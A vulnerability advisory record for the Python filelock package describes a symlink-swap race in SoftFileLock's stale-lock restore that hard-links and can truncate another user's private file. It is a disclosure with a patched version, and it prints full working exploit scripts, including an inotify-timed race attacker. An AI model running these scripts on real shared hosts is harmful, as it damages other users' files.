{"id":"CVE-2026-112914","aliases":["GHSA-crv4-6mhj-j5jh"],"url":"https://o3.security/vulnerability/CVE-2026-112914","summary":"filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory","details":"When a soft-lock stale break finds that the marker (the lock file at `<path>`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link\n    with suppress(FileExistsError):\n        os.link(break_path, lock_file)\n        Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file's inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process's system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user's `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break.<pid>.<token>`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n    key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n    print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker's own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n    shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n    victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n    print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself\n    holder.acquire()\n    os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n    assert time.monotonic() < deadline, \"the victim never moved the marker aside\"\n    time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() < deadline:\n    time.sleep(0.01)\ntry:\n    os.rename(lock_path, kept_path)\n    print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n    print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n    until = time.perf_counter() + microseconds / 1e6\n    while time.perf_counter() < until:\n        pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n    crashed_holder = SoftFileLock(lock_path)\n    crashed_holder.acquire()\n    os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n    stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n    lock_cycles += 1\n    os.symlink(victim_file, b\"symlink\")\n    marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    os.write(marker, stale_marker)\n    os.utime(marker, (marker_mtime, marker_mtime))\n    marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n    while True:  # plant it as soon as the victim has released the lock\n        try:\n            os.link(b\"staged\", lock_name)\n            break\n        except FileExistsError:\n            pass\n    os.unlink(b\"staged\")\n\n    break_name = None\n    while break_name is None:\n        try:\n            events = os.read(inotify, 4096)\n        except BlockingIOError:\n            continue\n        while events and break_name is None:\n            _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n            name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n            events = events[16 + name_length :]\n            if mask & IN_CLOSE_NOWRITE:\n                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n                # before that lstat only makes the victim start over on its next poll.\n                spin(random.uniform(40, 100))\n                marker_mtime += 1\n                os.utime(marker, (marker_mtime, marker_mtime))\n            elif name.startswith(lock_name + b\".break.\"):\n                # The victim has renamed the marker and is about to lstat the break name and link it back.\n                os.rename(b\"symlink\", name)\n                break_name = name\n    libc.inotify_rm_watch(inotify, marker_watch)\n    os.close(marker)\n\n    time.sleep(0.001)\n    try:\n        at_lock_path = os.lstat(lock_name)\n        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n            os.rename(lock_name, kept_name)\n            print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n            break\n    except FileNotFoundError:\n        pass\n    for leftover in (b\"symlink\", break_name):\n        if os.path.lexists(leftover):\n            os.unlink(leftover)\n    try:\n        os.read(inotify, 65536)\n    except BlockingIOError:\n        pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        time.sleep(0.005)\n    time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant D as /tmp/shared-locks (0777, not sticky)\n    participant V as SoftFileLock of the lock user (uid 1000)\n    participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n    X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X\n    V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n    rect rgb(255, 214, 214)\n        X->>D: inotify sees the rename: utime the break file (newer mtime)\n        V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n        X->>D: rename a symbolic link to signing.key over the break name\n        V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n        X->>D: rename app.lock to other.lock before the 2 s eviction\n        Note over V,K: the lock user's FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock']`, and after the `victim` account's second program takes `FileLock('/tmp/shared-locks/other.lock')`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report's macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else's file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created","published":"2026-10-20T14:26:18.813Z","modified":"2026-10-24T02:48:44.481225344Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"filelock","fixedVersion":"4.2.1"}],"fix":{"url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b","label":"tox-dev/filelock@740ff66"},"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112914.json"},{"type":"ADVISORY","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112914"},{"type":"FIX","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"FIX","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:44.481225344Z"}}